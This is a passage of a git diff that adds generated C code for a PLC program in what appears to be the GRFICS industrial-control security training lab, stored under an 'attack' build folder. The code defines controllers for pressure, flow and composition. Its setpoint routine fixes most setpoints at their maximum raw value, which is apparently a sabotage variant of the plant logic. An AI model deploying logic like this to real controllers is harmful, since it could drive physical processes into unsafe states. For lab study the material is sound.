b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + 